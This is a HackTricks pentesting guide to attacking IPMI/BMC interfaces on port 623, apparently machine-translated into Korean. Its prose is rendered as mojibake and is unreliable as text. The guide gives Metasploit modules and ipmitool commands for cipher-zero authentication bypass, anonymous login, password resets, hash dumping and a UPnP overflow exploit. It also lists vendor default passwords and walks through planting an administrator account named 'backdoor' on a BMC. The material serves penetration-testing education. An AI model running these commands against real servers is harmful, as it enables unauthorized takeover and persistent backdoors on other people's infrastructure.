# 623/UDP/TCP - IPMI
## 623/UDP/TCP - IPMI
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Basic Information
### **IPMI κ°μ**
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**λ μ΄μ 체μ λ μ μ μνμ κ΄κ³μμ΄ μ»΄ν¨ν° μμ€ν
μ μ격 κ΄λ¦¬ λ° λͺ¨λν°λ§μ μν νμ€νλ μ κ·Ό λ°©μμ μ 곡ν©λλ€. μ΄ κΈ°μ μ μμ€ν
κ΄λ¦¬μκ° μμ€ν
μ΄ κΊΌμ Έ μκ±°λ μλ΅νμ§ μμ λμλ μ격μΌλ‘ μμ€ν
μ κ΄λ¦¬ν μ μκ² ν΄μ£Όλ©°, νΉν μ μ©ν κ²½μ°λ λ€μκ³Ό κ°μ΅λλ€:
- OS λΆν
μ ꡬμ±
- μ μ κ΄λ¦¬
- μμ€ν
μ₯μ 볡ꡬ
IPMIλ μ¨λ, μ μ, ν¬ μλ λ° μ μ κ³΅κΈ μ₯μΉλ₯Ό λͺ¨λν°λ§ν μ μμΌλ©°, μΈλ²€ν 리 μ 보 μ 곡, νλμ¨μ΄ λ‘κ·Έ κ²ν λ° SNMPλ₯Ό ν΅ν κ²½κ³ μ μ‘ κΈ°λ₯λ μ 곡ν©λλ€. μλμ νμμ μΈ μμλ μ μ κ³΅κΈ μ₯μΉμ LAN μ°κ²°μ
λλ€.
1998λ
Intelμ μν΄ λμ
λ μ΄ν, IPMIλ μ¬λ¬ 곡κΈμ
체μ μν΄ μ§μλμ΄ μ격 κ΄λ¦¬ κΈ°λ₯μ ν₯μμμΌ°μΌλ©°, νΉν 2.0 λ²μ μ LANμ ν΅ν μ§λ ¬ μ§μμ΄ μΆκ°λμμ΅λλ€. μ£Όμ κ΅¬μ± μμλ λ€μκ³Ό κ°μ΅λλ€:
- **Baseboard Management Controller (BMC):** IPMI μμ
μ μν μ£Όμ λ§μ΄ν¬λ‘ 컨νΈλ‘€λ¬.
- **ν΅μ λ²μ€ λ° μΈν°νμ΄μ€:** ICMB, IPMB λ° λ€μν λ‘컬 λ° λ€νΈμν¬ μ°κ²°μ μν μΈν°νμ΄μ€λ₯Ό ν¬ν¨ν λ΄λΆ λ° μΈλΆ ν΅μ μ μν κ².
- **IPMI λ©λͺ¨λ¦¬:** λ‘κ·Έ λ° λ°μ΄ν°λ₯Ό μ μ₯νκΈ° μν κ².
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**κΈ°λ³Έ ν¬νΈ**: 623/UDP/TCP (λ³΄ν΅ UDPμμ μ€νλμ§λ§ TCPμμλ μ€νλ μ μμ΅λλ€)
## Enumeration
### Discovery
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
You can **identify** the **version** using:
λΉμ μ λ€μμ μ¬μ©νμ¬ **λ²μ **μ **μλ³**ν μ μμ΅λλ€:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### IPMI μ·¨μ½μ
IPMI 2.0 μμμμ Dan Farmerμ μν΄ μ€μν 보μ κ²°ν¨μ΄ λ°κ²¬λμμΌλ©°, **cipher type 0**μ ν΅ν΄ μ·¨μ½μ μ΄ λ
ΈμΆλμμ΅λλ€. μ΄ μ·¨μ½μ μ [Dan Farmerμ μ°κ΅¬](http://fish2.com/ipmi/cipherzero.html)μμ μμΈν λ¬Έμνλμ΄ μμΌλ©°, μ ν¨ν μ¬μ©μκ° λͺ©νλ‘ μΌμ κ²½μ° μ 곡λ λΉλ°λ²νΈλ‘ λ¬΄λ¨ μ κ·Όμ κ°λ₯νκ² ν©λλ€. μ΄ μ½μ μ HP, Dell, Supermicroμ κ°μ μ μ‘°μ
체μ λ€μν BMCμμ λ°κ²¬λμ΄ λͺ¨λ IPMI 2.0 ꡬνμμ κ΄λ²μν λ¬Έμ λ₯Ό μμ¬ν©λλ€.
### **Cipher 0μ ν΅ν IPMI μΈμ¦ μ°ν**
μ΄ κ²°ν¨μ νμ§νκΈ° μν΄ λ€μμ Metasploit 보쑰 μ€μΊλλ₯Ό μ¬μ©ν μ μμ΅λλ€:
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
μ΄ κ²°ν¨μ μ
μ©μ μλμη€Ίλ `ipmitool`μ μ¬μ©νμ¬ κ°λ₯νλ©°, μ¬μ©μ λΉλ°λ²νΈμ λμ΄ λ° μμ μ νμ©ν©λλ€:
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **IPMI 2.0 RAKP μΈμ¦ μ격 λΉλ°λ²νΈ ν΄μ κ²μ**
μ΄ μ·¨μ½μ μ κΈ°μ‘΄ μ¬μ©μ μ΄λ¦μ λν μνΈκ° μΆκ°λ ν΄μ λΉλ°λ²νΈ(MD5 λ° SHA1)λ₯Ό κ²μν μ μκ² ν΄μ€λλ€. μ΄ μ·¨μ½μ μ ν
μ€νΈνκΈ° μν΄ Metasploitμ λͺ¨λμ μ 곡ν©λλ€:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **IPMI μ΅λͺ
μΈμ¦**
λ§μ BMCμ κΈ°λ³Έ ꡬμ±μ null μ¬μ©μ μ΄λ¦ λ° λΉλ°λ²νΈ λ¬Έμμ΄λ‘ νΉμ§μ§μ΄μ§λ "μ΅λͺ
" μ‘μΈμ€λ₯Ό νμ©ν©λλ€. μ΄ κ΅¬μ±μ `ipmitool`μ μ¬μ©νμ¬ λͺ
λͺ
λ μ¬μ©μ κ³μ μ λΉλ°λ²νΈλ₯Ό μ¬μ€μ νλ λ° μ
μ©λ μ μμ΅λλ€:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI νλ¬Έ λΉλ°λ²νΈ**
IPMI 2.0μ μ€μν μ€κ³ μ νμ μΈμ¦ λͺ©μ μΌλ‘ BMC λ΄μ νλ¬Έ λΉλ°λ²νΈλ₯Ό μ μ₯ν΄μΌ ν¨μ μꡬν©λλ€. Supermicroκ° μ΄λ¬ν λΉλ°λ²νΈλ₯Ό `/nv/PSBlock` λλ `/nv/PSStore`μ κ°μ μμΉμ μ μ₯νλ κ²μ μ¬κ°ν 보μ λ¬Έμ λ₯Ό μΌκΈ°ν©λλ€:
```bash
cat /nv/PSBlock
```
### **Supermicro IPMI UPnP μ·¨μ½μ **
Supermicroμ IPMI νμ¨μ΄μ UPnP SSDP 리μ€λλ₯Ό ν¬ν¨νλ κ²μ νΉν UDP ν¬νΈ 1900μμ μ¬κ°ν 보μ μνμ μ΄λν©λλ€. [Rapid7μ 곡κ°](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play)μμ μμΈν μ€λͺ
λ Intel SDK for UPnP Devices λ²μ 1.3.1μ μ·¨μ½μ μ BMCμ λν λ£¨νΈ μ κ·Όμ νμ©ν©λλ€:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Brute Force
**HPλ μ μ‘° μ€μ** **Integrated Lights Out (iLO)** **μ νμ κΈ°λ³Έ λΉλ°λ²νΈλ₯Ό 무μμλ‘ μ€μ ν©λλ€.** μ΄ κ΄νμ **μ μ κΈ°λ³Έ μ격 μ¦λͺ
**μ μ¬μ©νλ λ€λ₯Έ μ μ‘°μ
체μ λμ‘°μ μ
λλ€. λ€μν μ νμ λν κΈ°λ³Έ μ¬μ©μ μ΄λ¦κ³Ό λΉλ°λ²νΈ μμ½μ λ€μκ³Ό κ°μ΅λλ€:
- **HP Integrated Lights Out (iLO)**λ κΈ°λ³Έ λΉλ°λ²νΈλ‘ **곡μ₯μμ 무μμλ‘ μμ±λ 8μ λ¬Έμμ΄**μ μ¬μ©νμ¬ λ λμ 보μ μμ€μ 보μ¬μ€λλ€.
- **Dellμ iDRAC, IBMμ IMM**, λ° **Fujitsuμ Integrated Remote Management Controller**μ κ°μ μ νμ κ°κ° "calvin", "PASSW0RD" (0 ν¬ν¨), "admin"κ³Ό κ°μ μ½κ² μΆμΈ‘ν μ μλ λΉλ°λ²νΈλ₯Ό μ¬μ©ν©λλ€.
- μ μ¬νκ², **Supermicro IPMI (2.0), Oracle/Sun ILOM**, λ° **ASUS iKVM BMC**λ κ°κ° "ADMIN", "changeme", "admin"κ³Ό κ°μ κ°λ¨ν κΈ°λ³Έ μ격 μ¦λͺ
μ μ¬μ©ν©λλ€.
## Accessing the Host via BMC
Baseboard Management Controller (BMC)μ λν κ΄λ¦¬ μ‘μΈμ€λ νΈμ€νΈμ μ΄μ 체μ μ μ κ·Όν μ μλ λ€μν κ²½λ‘λ₯Ό μ½λλ€. κ°λ¨ν μ κ·Ό λ°©μμ BMCμ ν€λ³΄λ, λΉλμ€, λ§μ°μ€ (KVM) κΈ°λ₯μ μ
μ©νλ κ²μ
λλ€. μ΄λ GRUBλ₯Ό ν΅ν΄ λ£¨νΈ μ
Έλ‘ νΈμ€νΈλ₯Ό μ¬λΆν
νκ±°λ κ°μ CD-ROMμμ 볡ꡬ λμ€ν¬λ‘ λΆν
νμ¬ μνν μ μμ΅λλ€. μ΄λ¬ν λ°©λ²μ νΈμ€νΈμ λμ€ν¬λ₯Ό μ§μ μ‘°μν μ μκ² νλ©°, λ°±λμ΄ μ½μ
, λ°μ΄ν° μΆμΆ λλ 보μ νκ°λ₯Ό μν νμν μμ
μ ν¬ν¨ν©λλ€. κ·Έλ¬λ μ΄λ νΈμ€νΈλ₯Ό μ¬λΆν
ν΄μΌ νλ―λ‘ μλΉν λ¨μ μ΄ μμ΅λλ€. μ¬λΆν
μμ΄ μ€ν μ€μΈ νΈμ€νΈμ μ κ·Όνλ κ²μ λ 볡μ‘νλ©° νΈμ€νΈμ ꡬμ±μ λ°λΌ λ€λ¦
λλ€. νΈμ€νΈμ 물리μ λλ μ§λ ¬ μ½μμ΄ λ‘κ·ΈμΈλ μνλΌλ©΄ BMCμ KVM λλ LANμ ν΅ν μ§λ ¬ κΈ°λ₯μ μ¬μ©νμ¬ μ½κ² μ₯μ
ν μ μμ΅λλ€. i2c λ²μ€ λ° Super I/O μΉ©κ³Ό κ°μ 곡μ νλμ¨μ΄ 리μμ€μ μ
μ©μ νμνλ κ²μ μΆκ° μ‘°μ¬κ° νμν μμμ
λλ€.
## Introducing Backdoors into BMC from the Host
BMCκ° μ₯μ°©λ νΈμ€νΈλ₯Ό μμμν€λ©΄, **λ‘컬 BMC μΈν°νμ΄μ€λ₯Ό νμ©νμ¬ λ°±λμ΄ μ¬μ©μ κ³μ μ μ½μ
ν μ μμ΅λλ€.** μ΄λ μλ²μ μ§μμ μΈ μ‘΄μ¬λ₯Ό μμ±ν©λλ€. μ΄ κ³΅κ²©μ μμλ νΈμ€νΈμ **`ipmitool`**μ΄ μ‘΄μ¬νκ³ BMC λλΌμ΄λ² μ§μμ΄ νμ±νλμ΄ μμ΄μΌ ν©λλ€. λ€μ λͺ
λ Ήμ μΈμ¦ μμ΄ νΈμ€νΈμ λ‘컬 μΈν°νμ΄μ€λ₯Ό μ¬μ©νμ¬ BMCμ μ μ¬μ©μ κ³μ μ μ£Όμ
νλ λ°©λ²μ 보μ¬μ€λλ€. μ΄ κΈ°μ μ Linux, Windows, BSD, μ¬μ§μ΄ DOSλ₯Ό ν¬ν¨ν λ€μν μ΄μ 체μ μ μ μ© κ°λ₯ν©λλ€.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
## Shodan
* `port:623`
## References
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{% hint style="success" %}
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§μνκΈ°
* [**ꡬλ
κ³ν**](https://github.com/sponsors/carlospolop) νμΈνκΈ°!
* **π¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λλ [**ν
λ κ·Έλ¨ κ·Έλ£Ή**](https://t.me/peass)μ μ°Έμ¬νκ±°λ **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νλ‘μ°νμΈμ.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) λ° [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉνλΈ λ¦¬ν¬μ PRμ μ μΆνμ¬ ν΄νΉ νμ 곡μ νμΈμ.**
{% endhint %}